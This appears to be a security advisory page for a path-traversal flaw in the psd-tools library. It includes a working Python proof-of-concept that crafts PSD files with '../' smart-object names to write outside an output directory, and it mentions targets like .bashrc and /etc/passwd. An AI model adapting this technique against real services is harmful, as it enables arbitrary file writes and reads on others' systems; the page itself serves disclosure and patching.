psd-tools CVE-2026-49836
MEDIUMSeverity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector for automated upload services; no auth or interaction needed in highest-risk deployment; C:H for arbitrary file read, I:H for arbitrary file write, A:N as no availability impact is described.
Primary rating from Vendor (https://github.com/psd-tools/psd-tools).
CVSS VectorVendor: https://github.com/psd-tools/psd-tools
Lifecycle Timeline
2DescriptionCVE.org
psd-tools: arbitrary file write/read via smart-object path traversal
Summary
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path - SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename
# untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data)
# attacker-controlled bytesself.filename comes from the file with no validation - the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path - SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.pypoc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name - control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin - then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMEDAn absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Impact
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory - no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Severity
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Patch
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name viaos.path.basename(), writes only into a caller-supplieddirectory(defaults to CWD), and verifies the resolved path stays inside that directory viaos.path.realpath()+os.path.commonpath(). A newexternal_dirparameter is propagated toopen()for external-kind objects to constrain the read source.open(): whenexternal_diris provided, afullPathresolving outside it is silently ignored (falls through torelPath); arelPathescaping the directory raisesValueError.
Weaknesses
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
Resources
- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag
v1.17.0):src/psd_tools/api/smart_object.py:170-179
(sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w -
compression resource exhaustion; GHSA-22jr-vc7j-g762 - buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.
AnalysisAI
Path traversal in psd-tools through v1.17.0 exposes any application processing untrusted PSD files to arbitrary file write and secondary arbitrary file read via the SmartObject API. SmartObject.save() consumes the embedded smart-object filename verbatim from the PSD binary - without basename stripping, absolute-path rejection, or directory-escape filtering - allowing a crafted PSD to write attacker-supplied bytes to any path the process can reach. A secondary issue in SmartObject.open() for external-kind objects uses the attacker-controlled fullPath descriptor as a read source, enabling file exfiltration to the write destination. A standalone proof-of-concept is publicly confirmed in the advisory; the fix is vendor-confirmed in v1.17.1 (PR #657). No public exploit identified at time of analysis beyond the advisory-embedded POC, and no CISA KEV listing was found.
Technical ContextAI
psd-tools is a pure-Python library distributed on PyPI (pkg:pip/psd-tools) for reading and writing Adobe Photoshop PSD/PSB files. The SmartObject API exposes embedded linked layers stored in the PSD's LINKED_LAYER tagged blocks. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), instantiated via CWE-73 (External Control of File Name or Path): the filename property at src/psd_tools/api/smart_object.py lines 62-67 returns self._data.filename, which is populated directly from the PSD binary at src/psd_tools/psd/linked_layer.py line 100 via read_unicode_string(fp). No sanitization - no os.path.basename() strip, no absolute-path rejection, no dot-dot filtering - is applied before this value is passed to open(filename, 'wb') in save() (lines 170-179). The attacker controls both the destination path (via embedded filename) and the written content (via embedded data). For external-kind smart objects, a parallel issue in open() passes the fullPath descriptor from the PSD directly to the filesystem without constraining it to a safe directory, enabling arbitrary reads whose output is then written to the attacker-chosen destination. The fix in v1.17.1 applies os.path.basename(), a caller-supplied directory parameter, and os.path.realpath()/os.path.commonpath() boundary checks.
RemediationAI
Upgrade psd-tools to v1.17.1 or later immediately; this is the vendor-confirmed patched release available via pip install 'psd-tools>=1.17.1' and documented at https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1. The fix (PR #657, https://github.com/psd-tools/psd-tools/pull/657) applies os.path.basename() to strip directory components from embedded names, enforces a caller-supplied directory parameter (defaulting to CWD) as the write root, and validates the resolved destination stays within that directory via os.path.realpath() and os.path.commonpath(); for external-kind objects, open() now accepts an external_dir constraint and raises ValueError on escape. If an immediate upgrade is blocked, the only reliable compensating control is to avoid calling SmartObject.save() on PSD files from any untrusted source. Application-level pre-filtering of the embedded filename for traversal sequences is possible but error-prone - subtle encoding variations can bypass naive checks - and should not be treated as equivalent to the vendor patch. Restricting the process's filesystem write permissions via OS-level sandboxing (e.g., systemd DynamicUser/ReadWritePaths, seccomp, or container volume mounts limited to the intended output directory) reduces blast radius but does not eliminate the vulnerability.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-2rmg-vrx8-9j2f